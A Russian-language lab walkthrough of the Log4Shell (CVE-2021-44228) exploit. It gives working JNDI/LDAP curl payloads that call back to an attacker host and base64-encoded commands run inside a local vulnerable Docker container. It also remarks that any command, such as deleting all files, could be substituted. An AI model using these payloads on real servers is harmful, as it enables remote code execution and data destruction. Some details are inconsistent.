log4shell
log4j - java-пакет для сбора и хранения логов сервера, который оказался уязвимым к хакерским атакам. Специалисты придумали эксплоит, который позволяет удалённо выполнять команды на сервере с уязвимой версией log4j.
CVE-2021-44228 или log4shell - уязвимость этого java-пакета.
Серьёзные компании, вроде Microsoft, apple, amazon и тд были уязвимы к этой атаке, но к счастью их быстро проинформировали и они защитили свои сервера.
Однако по всему миру существует огромное количество серверов с этой уязвимостью, это могут быть даже банальные Minecraft-сервера.
Чтобы обезопасить свой сервер от этой атаки, нужно обновить log4j до самой последней версии. Но далеко не каждый админ знает об этой дыре, и поэтому могут уйти недели, месяцы или даже годы на то, чтобы они обновили пакет. К слову версия 2.16.0 и является уязвимой.
Как работает эксплоит:
достаточно передать на сервер одну строку, содержащую простую команду и адрес атакующего, тогда библиотека выполнит этот код.
Было выпущено 3 патча из за этой дыры. Первые 2 не оказались преградой для атак, а вот третий вроде норм.
Мнение у специалистов в области ИБ сводится к одному - "мир в огне", "всем п*зда", ну и так далее
Установка уязвимого сервера для тестов:
Это следует проводить на виртуальной машине, так как эксплоит является тестовым.
Машина: Kali Linux 2021.3
Установка docker и сервера:
(все команды выполнять от имени root!)
apt-get update
apt-get install docker docker.io -y
docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
Если в терминале появляется такой выбор:
То выбираем <Yes> для перезапуска служб.
Установка эксплоита:
Переходим по ссылке и автоматически начнётся скачивание архива:
https://bit.ly/3E4kxuk
(ссылка сокращена, потому что архив удалён с гита, однако осталась копия на wayback machine, но она длинная.)
Переходим в папку загрузок и распаковываем архив:
unzip JNDIExploit.v1.2.zip
Далее вводим эту команду для прослушки 1389 и 8888 портов:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i <LOCAL IP> -p 8888
Где <LOCAL IP> - IP-адрес атакующего.
Атака на сервер:
Итак, у нас есть уязвимый сервер и эксплоит для него. Теперь вводим эту команду:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://<LOCAL IP>:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
Где 127.0.0.1:8080 - IP жертвы (сервера), а <LOCAL IP> - IP-адрес атакующего.
Эта команда отправляет запрос на сервер для удалённого выполнения команды в виде base64. Где "dG91Y2ggL3RtcC9wd25lZAo=" - и есть команда. При расшифровке можно понять, что она делает:
Команда создаёт файл по пути /tmp с названием pwned. После её выполнения в терминале отобразится текст "Hello, world!".
Чтобы проверить, выполнена ли команда на сервере, проверяем на нём файлы:
docker exec vulnerable-app ls /tmp
Должен отобразится файл pwned.
Вместо команды, показанной в примере, можно выполнить любую другую. Например перезапуск сервера, запуск другого эксплоита, удаление всех файлов и тд.
Предположим у нас стоит задача теперь удалить файл pwned, который мы создали. Для этого будет такая команда:
cd /tmp && rm pwned
Чтобы её запустить на атакуемом сервере, нужно открыть какой-нибудь base64 декодер и зашифровать её:
Копируем результат и вставляем в эту команду:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://<LOCAL IP>:1389/Basic/Command/Base64/<Base64 code>}'
Где 127.0.0.1:8080 - IP жертвы (сервера), <LOCAL IP> - IP-адрес атакующего, а <Base64 code> - скопированный раннее результат (сюда и нужно вставить результат).
У меня получилась такая команда:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://10.0.2.15:1389/Basic/Command/Base64/Y2QgL3RtcCAmJiBybSBwd25lZCA=}'
Проверяем:
Немного примеров из новостей: